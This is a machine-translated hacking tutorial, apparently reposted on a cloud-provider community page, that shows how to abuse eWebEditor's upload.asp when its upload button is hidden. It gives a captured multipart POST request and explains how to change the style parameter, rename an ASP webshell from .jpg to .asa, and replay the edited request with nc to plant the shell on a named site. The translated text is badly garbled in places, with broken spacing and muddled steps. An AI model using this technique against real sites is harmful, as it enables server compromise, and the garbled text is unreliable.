Ewebeditor uploads without an upload icon button

Source: Internet
Author: User

When the ewebeditor editor does not have an upload button, you can set a style and define the suffix of the uploaded file. You can download the database to view S_ID and S_Name.
 

 

It looks like there is a way to call him now

Http://www.bkjia.com/admin/ewebeditor. asp? Id = 45 & style = s_exampleremote

 

At first glance, there is no file upload icon. This is troublesome. ASA can upload files, but how can I upload files? For details, see the operation:

First open the east part of the capture package, and upload a JPG test. In this case, 77169.jpg is our ASP horse, but we just need to change the name.

POST/admin/ewebeditor/upload. asp? Action = save & type = IMAGE> style = standard HTTP/1.1
Accept :*/*
Referer: http://www.bkjia.com/admin/ewebeditor/upload. asp? Type = image & style = standard
Accept-Language: zh-cn
Content-Type: multipart/form-data; boundary = --------------------------- 7d83c837130798
UA-CPU: x86
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1;. net clr 2.0.50727)
Host: www.xxxx.cn
Content-Length: 79810
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ASPSESSIONIDSSBTDCRT = EEDHFINDJGPEJJJFJHCJJIOK

----------------------------- 7d83c837130798
Content-Disposition: form-data; name = "uploadfile"; filename = "G: \ mm \ 77169.jpg"
Content-Type: text/plain

(There are a total of two records. There are too many of the following records. If the number is over 70 KB, this will save you. The key is the previous record)
Ignore N words ......

After packet capture, we found/admin/ewebeditor/upload. asp? Action = save & type = IMAGE & style = standard

Style‑standard's are a little familiar. I want to change it to s_exampleremotefor a test, and then change 77169.jpg to 77169.asa. (here there are two places, the first one, and the last one)

Save it as a.txt

Then use nc to send

 

Type B .txt

 
 

Oh, the path is also available. log in.

 

Form: A three-year digress blog, edited by the situation

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.